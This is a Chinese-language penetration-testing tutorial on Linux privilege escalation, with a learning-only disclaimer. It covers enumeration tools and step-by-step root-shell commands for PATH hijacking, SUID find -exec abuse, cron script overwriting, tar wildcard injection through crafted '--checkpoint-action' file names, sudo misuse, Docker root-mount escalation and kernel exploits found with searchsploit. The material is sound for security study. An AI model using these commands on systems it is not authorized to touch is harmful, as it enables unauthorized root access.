文章目錄
- 內網滲透|Linux權限提升大法
- 0x01 前言
- 0x02 工具介紹
- 1.traitor
- 2.LinEnum
- 3.linux-exploit-suggester.sh
- 4.Linux Exploit Suggester 2
- 5.beroot
- 0X02提權手法
- 1.環境變量提權
- 2.利用suid提權
- 3.定時任務提權
- 3.1定時任務文件覆蓋提權
- 3.2定時任務tar命令通配符注入提權
- 4.sudo提權
- 5.Docker提權
- 6.內核溢出提權
內網滲透|Linux權限提升大法
0x01 前言
免責聲明:請勿利用文章內的相關技術從事非法測試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負責,所產生的一切不良后果與文章作者無關。該文章僅供學習用途使用!!!
0x02 工具介紹
1.traitor
地址:https://github.com/liamg/traitor
描述:
1. 自動化探測漏洞并且嘗試提權工具,也會進行一些信息收集,但是漏洞庫數量較少2. 不帶參數運行尋找可能存在的漏洞3. 帶-a參數運行尋找漏洞并嘗試執行,如果已知當前用戶密碼可以加-p參數
用法:
1.不帶參數運行以查找可能允許權限升級的潛在漏洞/錯誤配置。-p
如果當前用戶密碼已知,則添加該標志。如果需要分析sudo
權限等,將要求輸入密碼。
traitor -p
2.使用-a
/--any
標志運行以查找潛在漏洞,嘗試利用每個漏洞,如果獲得 root shell
,則停止。-p
如果當前用戶密碼已知,請再次添加該標志。
traitor -a -p
3.使用-e
/--exploit
標志運行以嘗試利用特定漏洞并獲得 root shell
。
traitor -p -e docker:writable-socket
2.LinEnum
地址:https://github.com/rebootuser/LinEnum
描述:
可以對linux主機進行一個綜合信息探測,掃描linux上是否存在配置問題可以利用,
例如版本,定時任務,權限,環境變量等等,可以方便我們快速的確認當前可以提權的方式
用法:
3.linux-exploit-suggester.sh
地址:https://github.com/The-Z-Labs/linux-exploit-suggester
描述:
漏掃腳本,查看是否有可以利用的漏洞。工具旨在幫助檢測給定 Linux 內核/基于 Linux 的計算機的安全缺陷。
用法:
1.評估 Linux 機器對公開已知漏洞的暴露程度:
./linux-exploit-suggester.sh
2.顯示 Linux 機器上的安全功能狀態:
./linux-exploit-suggester.sh --checksec
3.根據提供的“uname”字符串(即uname -a命令的輸出)評估 Linux 內核對已知漏洞的暴露程度:
./linux-exploit-suggester.sh --uname <uname-string>
4.Linux Exploit Suggester 2
地址:https://github.com/jondonas/linux-exploit-suggester-2
描述:
漏掃腳本,查看是否有可以利用的漏洞。工具旨在幫助檢測給定 Linux 內核/基于 Linux 的計算機的安全缺陷。
用法:
1.當不帶參數運行時,該腳本會執行“uname -r”來獲取 Linux 操作系統發行版本,并返回可能的漏洞利用列表。其中包含 CVE 和適用的漏洞利用 POC 的鏈接。請記住,修補/向后移植的補丁可能會欺騙該腳本。
./linux-exploit-suggester-2.pl
2.使用-k標志手動輸入內核/操作系統發行版本的通配符。
./linux-exploit-suggester-2.pl -k 3
3.使用-d標志打開下載菜單,直接從漏洞利用數據庫檢索漏洞利用代碼。您可以下載所有漏洞利用程序,也可以按編號單獨選擇它們。
./linux-exploit-suggester-2.pl -d
4.使用-h標志顯示幫助菜單
5.beroot
地址:https://github.com/AlessandroZ/BeRoot
描述:
BeRoot是一個后開發工具,該項目適用于 Windows、Linux,以方便找到提高我們提權的方法。
0X02提權手法
1.環境變量提權
管理員編譯程序的時候,給了程序管理員權限運行的權限,通過對程序的運行調試得到程序運行的大概邏輯,嘗試對程序調用的環境變量進行復制后覆蓋。導致程序調用環境變量過程中會調用到我們的想執行的程序,通常是我們的木馬后門。
提權流程:
1.ind / -perm -u=s -type f 2>/dev/null使用該命令,或者上述工具進行信息收集,找到有suid權限的程序
2.找到用戶自己編譯的程序
3.去分析這些程序,通過反編譯,調試等手段,查看是否有程序在運行過程中調用了環境變量的命令,如ps,su,ping等等
4.我們把bash或者sh復制為ps,并添加到環境變量,那么程序在調用ps時就會優先調用我們最新添加的環境變量ps,使用sudi權限執行bash或者ps我們就會得到root權限的shell,從而達到提權的目的
5.Linux 在執行命令時會按照以下順序搜索可執行文件:
1. 命令別名(alias):首先會檢查是否存在與命令名稱匹配的別名,如果有,則執行別名對應的命令。2. 用戶自定義的函數(如果存在):如果用戶在當前 Shell 中定義了與命令名稱相同的函數,則會執行該函數。3. 內建命令(built-in):Linux Shell 提供了一些內建命令,例如 cd、echo等。如果命令是內建命令,則會執行內建命令。4. 按照 PATH 環境變量中的順序搜索可執行文件:如果以上步驟都不匹配,那么會按照環境變量 PATH中指定的徑順序搜索可執行文件。PATH環境變量包含一系列用冒號分隔的目錄路徑。從左到右依次搜索這些路徑,找到匹配的第一個可執行文件后執行。
2.利用suid提權
具有suid權限的文件在執行時,可以使調用者暫時獲得該文件擁有者的執行權限,也就是說,具有suid權限的屬于root用戶的文件,在執行時,不管你當前是不是root用戶,都可以以root權限執行,利用這個特性,我們就可以找一些具有suid權限切可以執行我們自定義命令的程序進行提權。
手動查看有suid權限的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
上面的所有二進制文件都將以 root 權限執行,因為它們的權限中包含"s" 并且由 root 用戶擁有。
可以用來提權的命令
Nmap
Vim
find
Bash
More
Less
Nano
cp
例如:find的利用
touch pentestlab
find pentestlab -exec whoami \;
3.定時任務提權
3.1定時任務文件覆蓋提權
利用定時任務有時候也可以達到提權的目的,修改有root權限的定時任務程序進行提權。
需要具備的條件:
1. 有root權限執行的定時任務2. 有權限修改root權限執行的定時任務
通過修改定時任務的程序,讓定時任務以root權限執行時執行我們想執行的內容,從而達到提權的目的。
例如:
添加定時任務,直接修改/etc/crontab添加,添加定時任務還可以使用crontab -e添加,但是crontab -e添加的定時任務只有當前用戶可以看見,所以這種提權方式需要直接修改/etc/crontab添加定時任務,并以root權限執行
vim /etc/crontab
這里添加一個定時清楚目錄下所有文件的腳本,也可以使用sh等腳本,這里使用python
*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:os.system('rm -r /root/add/*')
except:sys.exit()
添加后保存即可,此時定時任務已經添加成功,切換到普通用戶,cat /etc/crontab即可查看我們添加的定時任務。
在普通用戶下也可以編譯定時任務執行的文件。
可以把命令替換成 chmod u+s /bin/bash 賦予bash以suid權限(如果不能修改,有刪除權限的話可以直接刪掉,寫入一個同名文件即可),返回給我們一個root權限的shell,需要加上-p參數才能提權,bash -p
我們這邊還可以給另一些可以提權的命令suid權限,例如我們的find命令,這邊我給find命令添加suid權限后也成功拿到了root權限
find `which find` -exec whoami \;
3.2定時任務tar命令通配符注入提權
定時任務Tar命令通配符注入提權(Cron Tar Command Wildcard Injection Privilege Escalation)是指通過在定時任務中使用Tar命令和通配符時,利用不當地輸入驗證或不正確的權限配置,使攻擊者能夠執行惡意代碼并以更高的權限運行。
例如:
1.添加一個定時任務,每分鐘備份一次add文件夾下的內容到back目錄下
vim /etc/crontab
*/1 * * * * root cd/root/add;tar -zcf /root/back/add.tgz *
2.接下來模擬攻擊者提權,發現存在定時任務壓縮后,在add目錄下執行以下三個命令,創建三個文件。
創建一個–checkpoint-action=exec=sh test.sh名字的空文件,創建–checkpoint=1名字的空文件,創建一個test.sh,里邊輸入我們想要使用root權限執行的命令,然后賦予test.sh可執行權限即可:
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh" ##執行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh ##將/bin/bash復制到/tmp下,并提權SUID權限,同時將命令寫入到test.sh腳本中
chmod +x test.sh ##賦予執行權限
這個方法利用了命令的一些特性,例如,目錄下存在一個--help
文件時,我們使用cat --help會執行cat的幫助文檔,不會獲取文件的信息,這邊也是一樣,在執行過程中會發生以下的事情。
tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh
也就是在壓縮這兩個名字的時候,會把checkpoint設為1,且執行我們的test.sh文件,由于定時任務以root權限運行,那么我們就可以利用這個特性,在test.sh寫入我們想執行的任何命令,達到提權的一個效果。
(PS:–checkpoint、–checkpoint-action正好是tar命令的參數,打包到這里就會導致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh兩個文件名當做參數執行,而不打包文件。–checkpoint-action=exec=sh test.sh參數的意思是執行同目錄下test.sh文件,test.sh文件內容又是把 bin/bash拷貝給/tmp/bash并給/tmp/bash賦SUID權限。此時我們再執行/tmp/bash就享有了suid權限,所以這里是一環套一環的。)
3.此時等待定時任務完成即可發現在/tmp目錄下多了一個bash文件。
4.使用 /tmp/bash -p 即可提權
PS:還有另一種情況
剛才的例子是壓縮了當前目錄的文件,但是當命令是壓縮指定目錄下的文件時,剛才的用法就失效了,例如在以下定時任務情況下,指定了/root/add/*目錄,此時拼接就會失效。
vim /etc/crontab
*/1 * * * * root tar -zcf /root/back/add.tgz /root/add/*
這時候需要我們在執行完上面的操作后,對add目錄下的文件進行一個歸檔,才可以成功解析我們的命令,具體操作如下:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
執行完后,只需要等待定時任務觸發即可執行我們的test.sh。
4.sudo提權
在linux中,可能會給普通用戶sudo權限,以便使用sudo進行root權限才可以進行的操作,/etc/sudoers
文件是sudo權限的配置文件,其中存儲了哪些用戶以及命令可以以sudo權限執行。
這三條的意思分別是:
root ALL=(ALL:ALL) ALL :
允許用戶root在任何主機上以任何用戶身份(ALL:ALL)執行任何命令。這授予了最高的權限。%admin ALL=(ALL) ALL :
允許屬于admin組的用戶在任何主機上以任何用戶身份執行任何命令。這是通過%admin表示組權
限,ALL表示可以在任何主機上執行,(ALL) ALL表示可以以任何用戶身份執行任何命令。%sudo ALL=(ALL:ALL) ALL :
允許屬于sudo組的用戶在任何主機上以任何用戶身份執行任何命令。與admin組的權限相似,這
里也使用了%sudo表示組權限。
在實際情況中,目標可能會給普通用戶分配sudo權限,可能是 ALL=(ALL:ALL) ALL
,也可能是針對某個命令可以使用sudo權限,如 ALL(ALL:ALL) /usr/bin/find
。
這種sudo提權的方式就和suid提權的方式有點相識,但是使用sudo提權需要兩個必備條件:
1. 知道當前用戶的密碼2. 有sudo權限執行任意命令,或者sudo可以執行特定可以提權的命令
如果sudo可以執行任何命令,那么我們可以直接 sudo bash
獲取root權限的shell,如果不能,需要查看/etc/sudoers
配置文件中可以執行哪些命令,上文中可以使用suid提權的命令在此處也是適用的。
例如:find提權
sudo find /home -exec whoami \; ##可以看到獲得的是root用戶
sudo find /home -exec bash \; ##或者直接調用bash來獲取shell
5.Docker提權
docker運行的所有命令都是需要sudo來運行,那是因為docker需要root權限才能跑。Docker監護進程有一個特性,它能被允許訪問root用戶或者是在docker組里面的所有用戶。這就意味著,有docker 組的權限就如同到root的訪問權,而且不需要知道密碼。
區別于docker逃逸,相當于是利用docker進行提權。如果用戶具有docker權限,可以利用docker的掛載,實現容器和主機共享目錄,從而修改訪問主機文件,添加用戶,等功能,完成提權。
條件:
當前用戶在docker用戶組,可以使用docke。
1.查看是否在docker組下:
cat /etc/group | grep olw
2.利用docker,將mnt目錄掛載到宿主的根目錄,提權成功
docker run -v /:/mnt -it alpine
6.內核溢出提權
利用堆棧溢出漏洞,根據當前系統 尋找對應的漏洞的exp 使用exp對其進行提權。
例如:
第一步:查看目標系統的相關信息
uname -a #查看內核/操作系統/cpu信息
cat /proc/version #查看系統信息
cat /etc/issue #查看操作系統版本
lsb_release -a #查詢系統版本等信息
第二步:使用searchsploit工具尋找對應的exp
searchsploit -t 3.19
searchsploit -x linux/local/37292.c
第三步:讓目標機器遠程下載exp文件
第四步:將exp文件進行編譯
第五步:執行exp文件,提權成功